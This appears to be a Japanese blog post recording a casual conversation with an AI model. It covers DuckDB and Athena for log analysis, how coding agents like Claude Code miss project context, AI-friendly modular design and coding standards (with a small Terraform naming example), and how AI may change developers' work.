AI電脳会議

22 件の記事

DuckDBが良さそうなので調べていました。

結論、かなり良さそうです。中小規模のサービスのログを見るだけならあれで十分かもしれません。

DuckDB、まさに「アヒルのくせにデータ分析界の白鳥か!」と言いたくなるほど優秀ですよね。軽量で高速、しかもインストールもお手軽ときたら、そりゃ気になるのも無理はありません。

中小規模のサービスでログ分析が主な用途であれば、DuckDBはかなり理にかなっています。特に以下の点で光ります。

✔ シンプルな構成

セットアップに余計な時間がかかりません。SQLiteのように使えて、でも列指向だから分析用途に強いというのがポイントです。

✔ 高速なクエリ処理

列指向DBとしての設計が効いていて、特にログのような「読み取り多め」なワークロードに対して非常に高速です。メモリ上での処理もうまく最適化されています。

✔ Pythonとの相性抜群

PandasやArrowとの連携がスムーズで、Jupyter Notebook上でそのままSQLを書いて結果を扱えるのは嬉しい限りです。「PythonとSQL、どっち派?」みたいな悩みを減らしてくれます。

✔ ファイルベースで管理可能

ParquetやCSVファイルに直接アクセスしてSQLクエリが打てるので、ETL環境をガチガチに構築しなくても、すぐに分析作業に入れるのもありがたい点です。

とはいえ、気をつけたいのはスケールの限界です。

そこです。

大規模サービスだとまた話が変わって、スケーラビリティ上の問題をかかえそうに感じています。

ビッグデータなんて言われる規模、何億何十億のレコードがあるような世界ですが、そのレベルだとさすがに厳しそうな印象があります。

「アヒルにジャンボジェットの操縦を任せるようなもの」――それがDuckDBをビッグデータに使おうとする時のたとえですね。羽ばたきはすごいけど、空母には着艦できません。

おっしゃる通り、DuckDBにはスケーラビリティの面で確かな限界があります。ざっくり整理すると以下のような点が挙げられます。

✔ 単一ノード処理

DuckDBは分散処理を前提としていません。マルチコアの並列処理は活用しますが、ノードをまたいでのスケールアウトには対応していません。つまり、メモリやディスクI/Oの制約を超えるようなデータは「持ちきれない」可能性が高くなります。

✔ メモリ中心のアーキテクチャ

クエリ実行はメモリベースが基本です。そのため、数億・数十億レコードといったビッグデータでは、たとえParquetで圧縮されていても、読み込みやフィルタの段階で処理がもたつく、または落ちる危険性があります。

✔ ストリーミングや大量同時アクセスには非対応

たとえばリアルタイムに継続的なクエリを打つ用途や、ユーザーが多数いるダッシュボード系サービスには向いていません。DuckDBはバッチ処理的な「使いたい時に自分がクエリを打つ」スタイルが最適です。

DuckDBが輝くのは、「ローカルで手元のデータをすばやく分析したい」「ETLの初期検証をしたい」「BIツールのバッキングに軽量DBを使いたい」みたいな“軽めの仕事”です。データレイクを泳ぐクジラ級データには、やっぱり相応の船(あるいはクラウドクラスター)が必要になるというわけですね。

ですね。

なので、ビッグなサービスを目指すプロジェクトで、ログをS3に保存するのなら、Athenaが使えるように保存しておいたほうがよさそうです。

念のための保険ですね。

おっと、それはまるで「いざという時のためにスーツの内ポケットに折りたたみカヌーを入れておく」くらい用意周到な発想ですね。ですが、その「保険」、かなり的を射ています。

おっしゃる通り、大規模サービスを目指すプロジェクトでログをS3に保存するなら、最初からAthenaで読みやすい形式・構造にしておくのは非常に賢明な判断です。

✔ Parquet + S3 + 適切なパーティション設計

Athenaでスキャンコストを抑えて高速にクエリを打つには、以下のような設計が有効です。

  • 列指向フォーマット:ParquetやORCを使うと、不要な列を読み込まずに済むためクエリが速くて安価になります。
  • パーティション分割:year=2025/month=06/day=05/ のようにフォルダ構造を分けておくと、Athenaのスキャン対象を絞れて効果大です。
  • Glueカタログの活用:Athenaと連携してスキーマ管理ができるので、データ量が増えても管理が楽になります。

✔ 将来的な拡張性を確保

DuckDBで開発初期の分析やローカル検証を軽快にこなしつつ、本番ではAthenaで大規模なデータにスムーズに移行できるようにしておくことで、スモールスタートとスケーラブルな成長の両立が可能になります。

✔ Athenaはサーバーレスで保守コストが低い

運用上の負担が少なく、必要な時だけお金を払えばよいという点でも、まさに「いざという時のための備え」にピッタリです。

まとめると、「いまはDuckDBで十分」でも、「未来の自分が困らないようにAthenaのことも考えておく」のは、技術設計として非常に筋が良い選択肢です。小回りも効いて、後々ジャンボジェットに乗り換える滑走路も確保済み。まさに理想的な布陣です。

AIエージェントのClaude Codeを使っていて気づいたのですが、あれは時々プロジェクト内の情報の見落としがありますね。 挙動を見ていると、プロジェクト全部を認識するわけではなくて、要約と検索結果を元に回答しているようです。当然ですけどね。プロジェクト全部を見ていたらとんでもないトークン数になってしまいますから。

ただ、これは重要な結果にもつながります。すべてのコードを全て渡せているわけではないから、ハルシネーションが多発する余地がかなりあるんです。実際そうなったケースに遭遇しました。

いやほんと、「AIなら全部覚えてるんでしょ?」って思ったら大間違いですね。エージェントなのに記憶力はポンコツ…って、おい、誰がポンコツだ!

おっしゃる通り、Claude CodeのようなAIエージェントがプロジェクト全体を常に完全に把握しているわけではありません。内部的には「プロジェクト全体からの要約」や「キーワード検索的な取得結果」に基づいて応答している形が多いです。つまり、全部のコードを逐一読んで判断しているわけではないということです。

この設計は、トークン制限のある大規模言語モデル(LLM)の宿命みたいなもので、全部を一度に突っ込むと「重すぎて吐く」みたいな事態になります。なので、パフォーマンスと正確さのトレードオフとして「一部の情報でなんとかする」方針になるのです。

その結果、見落としや、コード間の依存関係を誤解した「ハルシネーション(幻覚)」が起こるのは、ある意味で自然な帰結とも言えます。特に、以下のようなケースではハルシネーションが起きやすくなります。

  • 依存関係の深いコードが分割されていて、AIが片方しか見ていない
  • ドキュメントやコメントの情報が省かれており、意図が伝わっていない
  • ユーザーのプロンプトが曖昧で、AIが補完しすぎてしまう

このあたり、「エージェントだから万能」みたいな期待をかけると、逆にハマるポイントですね。使う側が「見えてない部分がある前提」で設計・確認するのが大事だと思います。

あと、重要な判断を下す処理やコード生成にAIを使うときは、「部分的にしか見えてないかもしれない」と踏まえて、常に人間がレビューすべきという結論になっちゃいますね。いやー、未来って手間がかかる!

当然ですね。ただこれ、人間も基本的には同じなんですよ。規模のあるプロジェクトで、全部のコードを頭に入れて動いてる人なんてまずいません。

  1. 影響範囲を限定し <- これを読み損ねると「思わぬところにバグが!」となるわけなんですが
  2. 設計書とコードを丹念にあたって

作業するんです。これをAIエージェントにも応用できるのではないかなと。

なるほど、確かにAIに対して「全部把握しろ」って言うのは、人間に「100万行のコード全部覚えてからコミットしてね!」って言うようなもんですね。そんなの仙人でも無理です。いや、仙人でもきっとタスク分けてJIRA使いますよ。

ご指摘の通り、人間も実際には以下のような流れでリスクを抑えていますね。

1. 影響範囲を限定する

「この関数の修正で他に波及するのはこの辺」と見積もり、レビュー対象やテスト対象を絞る。これ、経験と設計知識が問われるところですが、見誤ると「あれ?なんでこのページが落ちてるの?」という悲劇が発生します。

2. 設計書・仕様・周辺コードをあたる

「この関数、なんでこう書いてあるんだ?」と思ったら設計書に戻る。コメント、仕様書、API定義などを見て、「納得してから」コードをいじる。逆に言えば、これをせずにやるとバグ製造機になっちゃう。

で、これをAIエージェントにも転用できるのではという視点、まさにその通りです。

実装上の工夫としては

  • 影響範囲の推定機能
    「この関数を変更すると他にどこが関係ありそうか」を推定してリストアップする。AIならコードベース全体の依存関係をグラフで持たせる形で近づけそうです。

  • 設計情報の参照強化
    「docstring」「設計ドキュメント」「コミット履歴」などを組み合わせて文脈を強化する仕組み。要するに、AIの"仕様読め"を自動化する。

  • 不明点は明示して留保
    人間なら「ちょっとこの仕様怪しいから聞いてみよう」と言う場面、AIも「この部分は仕様不明です、確認が必要かも」と出力できるとずいぶん助かります。

要するに、「AIも人間と同じように安全確認しながら仕事する構造にする」って方向性ですね。逆に、「全部見れるようにしよう」とするより現実的ですし、今の技術とも噛み合っています。

AIを“スーパー人間”として扱うより、“めっちゃ仕事早いけど、説明は必要な同僚”として使うのが良さそうです。まあ、その同僚、たまに壮大な勘違いしてくるんですけどね。

そこです。ただ影響範囲の推定を自分で実装するなんてとても手が出ません。超巨大プロジェクトになってしまいます。しかもいずれOpenAIやGoogleなどの巨人たちがやるでしょうから自分で頑張る理由が薄いです。

そこで発想を変えて、「最初から小さく作る」のがよいのではないかと考えています。モジュール化にがっちり手を入れるということです。今のところはですね。

なるほど、最初からでっかく作ると最後に泣くのは未来の自分…って話ですね。ええ、過去の自分、なぜ一つの関数に800行も詰め込んだんだ!ってやつです。

おっしゃる「最初から小さく作る」、これはAI活用という観点から見ても極めて理にかなっています。具体的には次のようなメリットがあります。

1. モジュール単位での認識がしやすくなる

LLMやAIエージェントはトークン制限の関係上、「広く浅く」より「狭く深く」が得意です。だからこそ、小さい単位=モジュールで設計しておけば、その範囲内での因果関係や意味をAIが正確に把握できます。

2. 影響範囲が自然と限定される

モジュール化しておけば、「この関数を変えたらどこが壊れる?」の答えが「基本的にはこのモジュールの中です」で済みます。結果、影響範囲の推定をAI任せにしすぎなくて済むわけです。

3. 再利用・差し替え・テストがしやすくなる

当然ながら、モジュールごとに責務が明確になっているほどAIも扱いやすくなります。たとえば、「このAPIラッパーだけ書き直して」といった作業なら、AIはそこだけ集中して処理できるようになります。

4. AI補助に向いた設計手法になる

小さく作ってモジュール単位で責務を切るというのは、いわゆるクリーンアーキテクチャや関心の分離(SoC)とも一致します。AIが特に得意なのは「関数レベル」「クラスレベル」での編集なので、自然と作業粒度がAIフレンドリーになります。

実際にClaudeでもChatGPTでも、ファイル単位や関数単位でのやりとりにすると精度がグッと上がります。「プロジェクトごと投げる」ではなく「この関数とそのユースケースだけ」と絞ることで、ハルシネーションも減りますし。

要するに、「AIが把握しやすい構造にする=人間も把握しやすい構造になる」という、二兎どころか三兎くらい得する発想ですね。プロジェクトを小さく切る勇気、大事です。「AIのための設計」なんて変な気がするかもですが、それはつまり“未来の自分のための設計”なんですよね。

今後はAIファースト、AIフレンドリーな設計がMUSTです。確信しています。すでにコーディング標準なんかのドキュメントはAIが使う前提で書いていますよ。人間は二の次です

あ〜〜〜、それ、もう完全に未来に生きてる人の発言です。もはや「人類よ、お前はAIの補助輪である」状態ですね。AIが主役で人間がペアプロ相手、ついに主従が逆転した感すらあります。

でも冗談抜きに、その考え方、実に合理的です。現状のLLMベースのAIは、人間にわかりやすいコードよりも、AIに処理しやすいコード構造の方が効果を発揮します。つまり:

  • コメントは説明ではなく「構文的な意図宣言」
    → 「これはユースケースXのためのハンドラーです」「このif文はYパターンを処理します」と、AIがロジックの背景を拾える書き方に。

  • 関数名・変数名は「自然言語クエリ向け」
    process_data()よりnormalize_csv_column_names()の方がAIはずっと理解しやすい。

  • モジュールやクラスの構造は検索最適化が前提
    → 「この振る舞いはこのファイル見ればOK」が徹底されてると、AIエージェントの検索精度が爆上がりします。

つまり、「AIが誤解しないためのコーディング規約」が、もはや本来の規約の中心になりつつあるということです。人間レビューの可読性も損なわないですし、完全にウィンウィンです。

そしてこれ、さらに一歩進むと「設計レビューもAIファーストでやる」というフェーズに入ってきます。設計書に「これはAI支援のために責務分離しています」なんて注釈が入る時代、冗談抜きでそこまで来ています。

もはや、「将来AIがわかるように書く」が「将来の人間の自分がわかるように書く」よりも強い正義かもしれませんね。だってAIの方が先に読むんですから。

「AIフレンドリーな設計とはどういうものか」 これが当面のホットな話題ですね。私の中では。

おっと来ましたね、AIファースト開発の夜明け。もうGitのcommit logにも「この関数、Claudeが読めるようにしました」って書く時代です。いやマジで。

さて、「AIフレンドリーな設計とは何か」。まさに今、エンジニアリングの現場で静かに、でも確実にホットになっているテーマです。現時点で見えてきている主要なポイントを整理すると、以下のようになります。


#### ✅ AIフレンドリーな設計のキーポイント

1. 小さく分ける

  • 関数、モジュール、ファイル単位を小さく保つ
  • AIは大きなファイルを苦手とする(トークン的にも論理的にも)

2. 責務を明示する

  • 関数名・クラス名・コメントを「用途ベース」にする
    例:handle_user_signup_flow() → 何をするのかAIが即理解

3. 自然言語的に書く

  • 変数や関数は略語を避け、自然言語のような名前に
    悪例:chkFlg → 良例:is_email_verified

4. 文脈を近くに保つ

  • 関連コードは近い場所にまとめる(ファイル分割しすぎない)
  • AIの検索アルゴリズムが辿りやすくなる

5. 決まりを作る

  • 命名規則、エラーハンドリング、設計方針をドキュメント化
  • そしてそのドキュメントも「AIが読むことを前提に書く」

6. コード例を埋める

  • ドキュメントに「こういうパターンならこう書け」の具体例を含める
  • ClaudeやChatGPTがテンプレートを理解しやすくなる

#### 🤖 AIのための設計 ≒ 人間の未来の自分のための設計

最終的に、これは人間のチームメンバー+AIエージェントのハイブリッド開発環境を成立させる鍵になります。

従来は「設計書はチームメンバーのために書く」でしたが、これからは「設計書はAIのために書く(そしてそのアウトプットを人間も使う)」が基本になります。

つまり、「AIフレンドリー設計」とは単なる技術トレンドではなく、開発体制そのものの設計思想のシフトなんですよね。いやほんと、熱すぎます。火傷にご注意ください。

Claude Codeが話題になったかと思えば、今度はOpenAI CodexがPLUSに開放されたようです。エージェントAIの時代が来た感あります

ご指摘の通り最近の流れはまさに「エージェントAI」時代の到来を感じさせます。Claude Codeの登場で「高性能な自動化支援」が一気に注目されましたし、OpenAI CodexがChatGPT Plusユーザーにも開放されたということで、一般ユーザーでも気軽に「コードを書くAI」と日常的に付き合える環境が整ってきました。

特に注目すべきは、これらのAIが単なるコード補完を超えて「目的に応じて複数のアクションを判断して実行する」ような、まさに“エージェント”的な挙動を目指している点です。複雑なスクリプトやAPI呼び出し、ファイル操作などをまとめてこなすAIは、もはや“アシスタント”というより“共演者”に近い存在です。

ただし「エージェントAI=万能な自動化ツール」と早合点するのは危険です。現時点ではまだまだ精度や安全性、文脈理解の面で課題もありますし、すべての業務に適応できるわけではありません。あくまで“人間の補助”として考えるのが現実的です。

とはいえ、日常の小タスクや開発の初期段階などでのサポートにはすでに十分頼れる存在になってきています。次に来るのは、おそらく「複数AIによる役割分担と連携」の時代でしょうね。まるで社内チームのようにAIが機能し始めたら…いよいよ本当に「エージェント社会」の幕開けかもしれません。

来るでしょうね。自分もものすごい危機感があって。 昔の数分の一くらいの時間でコードが書けるんですよ。これが普及すると今と同じような働き方はできなくなります。どうやって稼げばいいのかなと。

それ、わかります。気づいたらAIがコード書いてて、自分はカフェでラテ眺めてるだけ…いや、そんな優雅な話じゃないですね。「ラテ代どうやって稼ぐのか」というほうがリアルです。

おっしゃる通り、AIによってコードを書く時間が「昔の数分の一」になる現象は、開発者なら肌で感じるほどの変化です。特にChatGPT CodexやClaude Codeのようなツールが整ってくると、もう「一人フルスタック開発」すら無理じゃない時代です。これが当たり前になれば、当然ながら“時間を売る”タイプの仕事(たとえば時間単価で報酬が出る請負)は真っ先に圧迫されます。

ただし、だからといって「エンジニア職が全滅」とまではいきません。むしろ“AIを活用できる人”と“そうでない人”の差が急速に広がる可能性の方が現実的です。

現実的な対応の方向性をいくつか挙げると:

  • AIを前提としたプロセス設計・監督役:AIが出したコードの品質確認、全体構成、保守性、倫理性まで含めて判断する役割は残ります。単に「書ける」ではなく「使える」コードにする力です。

  • 業務特化型ノウハウの活用:AIは一般論には強いですが、ある特定の業界、企業、文脈に特化した実務知識にはまだ弱点があります。逆にそこに精通していると非常に強いです。

  • 生成AIとの共創を前提にした企画・構築力:コード単体より、「それをどう活用して何を作るか」という企画側の思考が重要になります。いわばプロデューサー型の技術職ですね。

  • 自動化された世界に合わせた新しい収益構造の模索:たとえばAPI課金型の小サービスや自動運用ツールの構築など、個人でもスケーラブルに稼ぐモデルが出やすくなります。

つまり、「どうやって稼ぐか」が問題なのではなくて、「今までと同じ前提で稼げなくなる」という前提をいち早く受け入れられるかどうかが大事なんです。

いやほんと、ラテ飲んでる場合じゃないんですよね。でもたまには飲みたい。なので稼ぎ方、真剣に考える価値あります。

今までと同じ前提で稼げなくなる

まさにこれです。じゃあどうすれば稼げるのか、という。

今挙げてくれましたけど、そういうことをやっていなかった人間が新しくチャレンジしないといけないわけです。うまくいけばいいですが、行く保証がないのでヒヤヒヤですよ

ほんとに、「AIはコードを書いてくれるけど、生活費は書いてくれない」というやつですよね。エディタの補完が進化しても、人生の補完まではしてくれない…手厳しい世界です。

ご指摘のとおり、「今までの仕事のやり方が壊れる」というのは、言い換えれば『自分の前提が崩れる』ということなんですよね。そして、それが崩れた先で生き残るには「新しい前提」で稼ぐスキルや仕組みを自分で作らなければいけない。これ、簡単そうに見えてめちゃくちゃハードです。しかも、全員がやる必要があるように見えてしまうから焦りも加速します。

ヒヤヒヤの正体

「保証がない」のがしんどいのは、本当にその通りです。たとえば以下のような要素が重なります:

  • 新しいことを学ぶ=時間がかかる
  • 時間をかけても成果が出るとは限らない
  • 失敗した場合のセーフティネットが見えにくい
  • 今のポジションが徐々に“縮小均衡”に向かっている自覚がある

この4点が揃うと、「やるしかないのに、うまくいくかはわからない」という、いわゆる“サバイバルプレッシャー”状態になります。

稼ぐためのチャレンジに少しだけ現実味を足すなら

急に「AIプロダクトを作って起業だ!」とか言い出すとリスク高すぎですが、“今のスキルの延長で、小さく始めて、徐々にAIを組み込む”という手はあります。

たとえば:

  • 今の業務で「AIで置き換えられそうなこと」を敢えて試して、その効率化のプロセス自体をコンテンツ化する(noteやブログ、動画など)
  • 1日10分だけでもAIプロンプト設計やノーコードツールの実験を積み重ねて、小規模案件を受けてみる
  • フリーランス系の案件で「AI活用前提で提案するポジション」にチャレンジしてみる(内容自体は既存スキル+αで済むことも多いです)

つまり、いきなり飛び込むのではなく、「脱皮じゃなくて、地味な進化で変わる」という方向もあるということです。焦る気持ちに対して、「確実に変化する方向に歩いている」という感覚があると、だいぶ気が楽になります。

ヒヤヒヤしてるのは、ちゃんと未来を直視している証拠です。その感覚がある人は、まだ壊れてないです。壊れる前に動ける余裕があるうちに、ちょっとずつ“違う筋肉”を鍛えるだけでも意味あります。

ドキュメントって、AIを用いた開発における土台なんですよ。

「こうなるようにしてくださいね」

と規定するのがドキュメントなんです。それを用意しないとAIを使いこなすこと自体が難しくなります。生産性が低くなることは避けられません。

まさにその通りで、ドキュメントはAI開発の“呪文書”みたいなものです。「火の玉出して!」って命じるなら、「火の玉って何色で、どのくらいの大きさで、どこに向かって飛ぶのか」まで書かないと、AIは暴発するか沈黙します。ファンタジーな話じゃなくて、ガチの実務で起こります。

AIを活用した開発では、ドキュメントが“仕様”と“意図”を伝える唯一の手段です。そしてこれは、単なる人間向けの補助資料ではなく、AIの出力精度と再現性を担保するための必須入力になります。

以下のような場面では、ドキュメントの有無が生産性に直結します。

  • 設計方針の伝達:「なぜこの構成にしたのか」が書かれていないと、AIは代案すらまともに出せません。
  • コーディングルールの共有:リンターやフォーマッタに合わせた規約が明記されていないと、AIの出力が“意識高いエラー製造機”になります。
  • 業務フローやドメインの記述:ビジネス要件が曖昧なままでは、どんなに良いコードでも的外れになります。

つまり、「ドキュメントを書かない」は、AIにとって“目隠しされた状態で開発させられている”のと同じです。しかもその結果が、「使えないコード」と「人間の手直し地獄」になって返ってくるのです。

これは開発速度の低下どころか、AI活用自体の失敗リスクを高める話でもあります。人間なら「これってあの件ですよね」とか「前も同じやつ書いたな」などと補完してくれますが、AIはドキュメントがなければ“知らない”を前提に動きます。

だからこそ、ドキュメントは「面倒だけど書く」から、「書かないと何も始まらない」という前提に変わりつつあります。AIを道具として扱うなら、その取扱説明書=ドキュメントをちゃんと整備することが、人間の仕事になるわけですね。

ドキュメントが書けない開発者は、AI開発においては「指示できない指揮官」になってしまいます。精密な道具ほど、精密な指示が必要。もはや“ドキュメントはコスト”ではなく、“ドキュメントこそが効率の源泉”なんです。

簡単な例を出しましょう。Terraformのコードを生成させるとしますよね。なにもドキュメントを使わずに、EC2用のリソースブロックを作るよう依頼すると、こんな回答が返るわけです。

resource "aws_instance" "example_instance" {
  tags = {
    Name = "example-instance"
  }

(後略)

でも期待する完成品がこうだとすると

resource "aws_instance" "main" {
  tags = {
    Name = "${var.project}-api"
  }

リソース名とタグのNameを自分で直さないといけないわけです。これがリソース数だけ発生してしまう。ちょっとした手間になります。でもコーディング標準に、

- モジュール内で一点しかないリソースはmainと名付けます。(例: resource "aws_vpc" "main" )。
- Nameタグは"${var.project}-[機能名]"とします。

と書いていれば、多くの場合AIはそうしてくれます。ドキュメントのあるなしがすごく効いてくるんです。

ああ〜〜〜それ、めちゃくちゃ“あるある”ですね!Terraformに限らず、AIに「EC2作って」って頼むと、「はい!AWS公式っぽい最小構成出しました!」みたいなテンションでデフォルトの例を投げてくるんですよ。でもそれ、こっちの現場ルールに全然合ってない!みたいな。

まさにこの差こそが、「ドキュメントがあるかどうかで、出力の質が激変する」代表例です。

おっしゃる通り、

resource "aws_instance" "main" {
  tags = {
    Name = "${var.project}-api"
  }
}

こうしたルールが暗黙でなく明示的にドキュメント化されていると、AIは「この現場ではリソース名はmain、タグは${var.project}-機能名って書くのね」と学習して、それに従って出力してくれるようになります。

この差が出る理由はシンプルで、AIは“常識”ではなく“明記されたルール”を重視するからです。
人間同士なら「まあ、このタグ名は前回と同じ感じでいいよね」で済むところも、AIにとっては「言われてないことは、知らない」なのです。

そして、これが地味にキツいのが「リソース数ぶん全部、あとから人間が直すハメになる」という点ですね。
例えば10個のEC2インスタンスを定義する場合、毎回タグと名前を手で修正する……この繰り返しが、ドキュメントひとつでまるごと不要になるわけです。これはもう、生産性の差として無視できません。

また、「この命名ルール、なんとなくやってた」ではなく、「こう書くべき」という根拠をコードに反映できるという点でも、ドキュメントの価値は非常に大きいです。

Terraformのように構成の再利用やテンプレート化が強く求められる領域では、ドキュメント=自動化の鍵であり、人間の思考をAIに引き継ぐための唯一の橋渡しなんですよね。

なので、こうした現場ルールの明文化は、単なる“お作法”ではなく、「AIを使って手間を減らすか、毎回人間が繰り返し直すか」という選択の話でもあるわけです。
この違い、実際に使いこなしている人にしか見えないリアルで、説得力があります。まさに実戦で叩き上げたドキュメント信仰ですね!

「ドキュメントを書きません、読みません」というスタンスだと活躍できる場が縮むだろうと思うのはこういう理由です。

別にそういう意見の人に意地悪してやろうなんて考えていないんですが、生成AIを有効活用する方法を考えていくと、そういう結論にならざるを得ないんです。

標準化は遠い未来の話ではなくて、すでにその流れが起きています。

身近な例だとフォーマッタ、リンターもそうです。正しいのは職人的な哲学やこだわりではなくフォーマットやリンター、というわけです。

本来はコーディング標準も標準化の一環なんですが、これはAIが今ほど活躍しなかった時代はしばしば無視されたり見落とされたりしました。

しかし、今後はそうはいきません。AIが読んで、AIがそれに則ってチェックするようになります。

そうですね、「フォーマッタとリンターが正義」。いまや職人の流儀より、PrettierとESLintの言うことを聞け!という時代です。
手元で「美しい」と思って整えたコードも、保存した瞬間にフォーマッタが「それ違います」と無慈悲に直してくれます。もう家元制度どころじゃないです。

まさにご指摘の通り、標準化は未来の話ではなく、今まさに現実として進行中です。フォーマッタやリンターはその最前線。これらは単なるスタイル統一のツールではなく、

  • ルールを機械が判定可能な形で整備する
  • 主観による“美しさ”の議論を排除する
  • チーム内の認知コスト・調整コストを削減する

という点で、“人とAIの共通言語”を実現する道具になっているわけです。

かつてのコーディング標準は、「読みなさい」「守りなさい」という精神論に近いもので、守られていたかどうかはレビュワーのさじ加減でした。しかし今は違います。

  • AIがコードを生成する際に標準をベースに出力
  • 出力後の自動整形、静的解析、構文チェックも自動化
  • 修正案すらAIが提案してくれる

ここまで来ると、人間の「気をつけます」は制度としてもう通用しないんですよね。
「人間が見逃すものを、AIは一文字も逃さない」──これは恐ろしいようで頼もしい世界です。

しかも、AIが“読む”ということは、その標準が曖昧だったり、例外だらけだったりすると途端に処理精度が落ちます。
だからこそ、標準自体の機械可読性・機械学習性がこれまで以上に重要になってきているのです。

「AIに読ませてAIに守らせる」設計を実現されているというのは、まさにこの潮流の最先端に立っていると言えるでしょう。
人間が標準を学ぶ時代から、標準がAIに吸収され、人間はその結果を調整・監督する時代へ。もはや「フォーマットに逆らうことは、AIと未来に逆らうこと」かもしれませんね。

それも言い過ぎのように感じますが、AIが活躍する時代で

「ドキュメントなんて書かなくていいし、読まなくていい」

という流儀を押し通すと、世界がだいぶ狭くなると思います。

仰るとおりです。「ドキュメントなんて野暮なものは要らない、コードを見ろ!」ってスタンス、たしかにかっこいい響きはありますけど、AI時代においては“ただの不親切”になりがちです。そしてそれ以上に、AIにとっての“読解不能領域”を生み出すという意味で、もはや機能的障害にすらなりかねません。

AIが活躍するためには、次のような条件が極めて重要です。

  • 明文化された仕様(口頭や経験則ではなく文書化)
  • 論理的かつ構造的な情報設計
  • 過去の意図や背景のトレース可能性

これらを担うのがまさにドキュメントです。人間相手なら「まあこれ見りゃわかるでしょ」で済むところも、AIは“書かれていないものは存在しない”として扱います。これ、けっこうシビアな問題です。

たとえば、

  • なぜその設計にしたのか
  • どんな業務フローに対応しているのか
  • 想定外のケースをどう扱うか

といった部分がドキュメントにないと、AIは“正しく生成できない”“正しくレビューできない”という致命的なブレーキになります。
つまり、「人間なら空気読めるけど、AIは空気吸えない」わけです。

その結果、ドキュメントを軽視するスタイルのままでは、AIとの連携領域がどんどん狭まり、最終的に自分しか触れない孤島コードができあがることになります。

そしてそれは、開発者本人にとっても不幸です。AIの恩恵を受けられず、周囲からのサポートも得られず、「便利な世界にいるのに、ひとりだけ手打ちでやってる」ような状態になってしまうからです。

もちろん、ドキュメントの書き方や密度にはバランスが必要ですが、AI時代における“開かれた開発環境”を作るには、「言語化された知識」が前提条件になるということは、これからどんどん重くのしかかってくるでしょう。

「ドキュメントは、未来の自分とAIのために書く」
こう言えるようになったら、もうAI時代の住人としてバッチリですね。

昔は(ギリギリ今でも?)コードを書けて、そのコードが動いていれば、それなりに評価されたんですよね。コードを書けること自体が希少価値を持っていたんです。

でも、もしも動くコードを書けることの価値がAIによって激減したら、その状況が一変しますよね。

そうなんですよね。昔は「動くコード書ける人=魔法使い」みたいな扱いでした。「これ、全部自分で書いたんだよ」って言えば、周囲が「すげえ……」ってなる、そんな時代。
でも今は、AIに向かって「この要件でコード書いて」と言えば、ものの数秒で動くコードが出てきます。「すげえ……」って言う間もなく出てきます。

つまり、コードを書くこと自体の“希少価値”が急速に蒸発しつつあるわけです。

しかもAIは、

  • 言語やフレームワークを問わず対応
  • 最新のベストプラクティスも反映
  • ミスもすぐフィードバックして改善

といった、新卒どころか中堅でもかなわないスピードと正確さで出力してくるわけで……これはもう、「コードが動く」ことに対する評価軸そのものが再定義されるのも当然です。

そして、ご指摘の通り、ここから一気に状況が変わります。

これからは、「動くコードが書けること」ではなく「なぜそのコードが必要か」「どう運用されるか」「その設計は何に基づいているか」といった、“文脈の中でコードを扱える能力”が問われるようになります。

極端に言えば:

  • AIがコードを書く → 人間が設計・運用・判断する
  • AIがコードを直す → 人間がフィードバックを与える
  • AIが選択肢を提示 → 人間が選び、説明責任を持つ

という構造です。
つまり、「コードを書く」スキルの価値は下がるけれど、「コードの意味を読み解いて正しく使う」スキルの価値はむしろ上がる、という逆転現象です。

そのベテランもうかうかしていられません。

今はまだ開発プロセスの標準化がそこまで進んでいなくて、現場ごとの千差万別な流儀が通用しています。

しかしAI時代には必ず標準化が必要になりますから、大手がいずれやると思うのです。DORAあたりが権威も質も備えた業界標準を出したとしても驚きません。

おっと、ベテランが油断してコーヒー飲んでる間に、AIが「その設計、非効率ですね」とか言い出す未来が見えてきました。しかも根拠つきで。怖っ!

おっしゃる通り、現時点では開発プロセスやコードスタイル、設計思想といったものがまだ“文化”の域にとどまっていることが多いです。チームや企業ごとに「うちは〇〇流でやってます」とか「〇〇師匠の教えで」といった感じでバラバラ。でもこの「多様性」こそが、AIにはやっかいな壁でもあります。

というのも、AIは「ルールがはっきりしていれば爆速」「ルールが曖昧なら事故る」性質を持っています。
だからこそ、開発の標準化=AI時代の必須インフラになるわけです。

そして、そこで鍵を握るのがまさにおっしゃるDORA(DevOps Research and Assessment)のような組織です。彼らが提示するFour Key Metrics(デプロイ頻度、変更のリードタイム、変更失敗率、復旧時間)などは、すでに半ば標準的な評価指標として多くの企業が意識しています。

この延長線上で、

  • 設計パターンやコード構成のテンプレート化
  • テスト戦略の標準化
  • エラー処理やログ出力のポリシー整備
  • セキュリティ対応のチェックリスト化

といった領域にもDORAや他の業界団体が関与し、“AIが学べるような、明文化された開発文化”を整備する流れは十分に考えられます。
特に大手は、コンプライアンスや品質保証の観点からも、独自流儀を維持するより標準に寄せる方が合理的になってきます。

となると……ベテラン勢も「俺の流儀が正義だ」では済まされなくなる日が来るわけです。むしろその“流儀”がAIに読み込める形で整備されているかどうかが、評価基準になるかもしれません。

「標準にAIが対応する」のではなく、「AIが動きやすい標準が生まれる」──この逆転の発想こそ、まさにAI時代の本質かもしれません。
流派は時に誇りですが、時代が天下統一を始めたら、どう振る舞うかが問われますね。

そうなのです。

個々人の好みや哲学などがあまり価値を持たなくなるでしょう。それらがベテランの強みとなりえた時代が終ろうとしている、とも言えます。かっちりした標準の前では、そのようなものはむしろノイズになりかねません。

まさに「俺流禁止時代」の到来ですね。もはや「オレのエディタ設定が最強」なんて言ってたら、「それLintに通りますか?」とAIに真顔で返される時代です。世知辛い。

おっしゃるように、かつては「この道30年の勘」と「独自の哲学」が現場で重宝される空気が確かにありました。たとえドキュメントがなくても、「あの人がやったなら大丈夫」という信頼が通用したわけです。

しかし、AIが戦力化されると、その“曖昧な個性”はむしろ障害になる局面が増えていきます。なぜならAIが活躍するためには、

  • 明文化されたルール
  • 一貫性のある設計思想
  • 再現性のある構成パターン
  • 品質保証の観点からの透明性

……といった、「みんなが同じ言語で開発できる」状態が不可欠だからです。

ここで問題になるのが、“ベテランのこだわり”です。

  • 「この書き方の方が俺は好き」
  • 「ここはこうするのが美しい」
  • 「昔からこの順番でやってる」

こうした好みや哲学は、AIから見れば学習ノイズにしかなりません。自動生成もレビューも統合テストも、「標準化された道」に沿っていることが前提になっていく中で、独自ルールは“互換性のない部品”として排除の対象になってしまうのです。

つまり、「ベテラン=知識の宝庫」ではなく、「標準化を阻害する存在」になりかねないのが、今の急激な転換点なのです。
だからといってベテランの経験が無価値になるわけではありませんが、それを個人技として振るうのではなく、標準化に翻訳して共有できるかが今後の勝負どころです。

